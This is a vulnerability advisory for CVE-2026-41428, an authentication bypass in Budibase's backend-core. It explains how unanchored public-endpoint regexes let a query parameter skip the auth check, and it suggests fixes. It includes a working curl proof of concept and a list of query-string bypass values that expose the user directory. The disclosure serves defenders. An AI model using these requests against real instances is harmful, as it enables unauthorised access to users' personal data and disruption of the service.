CVE-2026-41428 — Vulnerability in @budibase/backend-core — CVE Details

### Summary The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL. ### Details **Step 1 — Public endpoint patterns compiled without anchors** `packages/backend-core/src/middleware/matchers.ts`, line 26: ```typescript return { regex: new RegExp(route), method, route } ``` No `^` prefix, no `$` suffix. The regex matches anywhere in the test string. **Step 2 — Regex tested against full URL including query string** `packages/backend-core/src/middleware/matchers.ts`, line 32: ```typescript const urlMatch = regex.test(ctx.request.url) ``` Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string. **Step 3 — publicEndpoint flag set to true** `packages/backend-core/src/middleware/authenticated.ts`, lines 123-125: ```typescript const found = matches(ctx, noAuthOptions) if (found) { publicEndpoint = true } ``` **Step 4 — Worker's global auth check skipped** `packages/worker/src/api/index.ts`, lines 160-162: ```typescript .use((ctx, next) => { if (ctx.publicEndpoint) { return next() // ← SKIPS the auth check below } if ((!ctx.isAuthenticated || ...) && !ctx.internal) { ctx.throw(403, "Unauthorized") // ← never reached } }) ``` When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed. **Step 5 — Routes without per-route auth middleware are exposed** `loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23: ```typescript export const loggedInRoutes = endpointGroupList.group() // no middleware ``` Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection. **Affected endpoints (no per-route auth — fully exposed):** - `POST /api/global/users/search` — search all users (emails, names, roles) - `GET /api/global/self` — get current user info - `GET /api/global/users/accountholder` — account holder lookup - `GET /api/global/template/definitions` — template definitions - `POST /api/global/license/refresh` — refresh license - `POST /api/global/event/publish` — publish events **Not affected (have secondary per-route auth that blocks undefined user):** - `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403 - `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it ### PoC ```bash # Step 1: Confirm normal request is blocked $ curl -s -o /dev/null -w "%{http_code}" \ -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search" 403 # Step 2: Bypass auth via query string injection $ curl -s -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search?x=/api/system/status" {"data":[{"email":"admin@example.com","admin":{"global":true},...}],...} ``` Without auth → 403. With `?x=/api/system/status` → returns all users. Any public endpoint pattern works as the bypass value: - `?x=/api/system/status` - `?x=/api/system/environment` - `?x=/api/global/configs/public` - `?x=/api/global/auth/default` ### Impact An unauthenticated attacker can: 1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search` 2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder` 3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh` 4. **Publish events** — inject events into the event system via `/api/global/event/publish` The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet. Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed. ### Suggested Fix Two options (both should be applied): **Option A — Anchor the regex:** ```typescript // matchers.ts line 26 return { regex: new RegExp('^' + route + '(\\?|$)'), method, route } ``` **Option B — Use ctx.request.path instead of ctx.request.url:** ```typescript // matchers.ts line 32 const urlMatch = regex.test(ctx.request.path) // excludes query string ```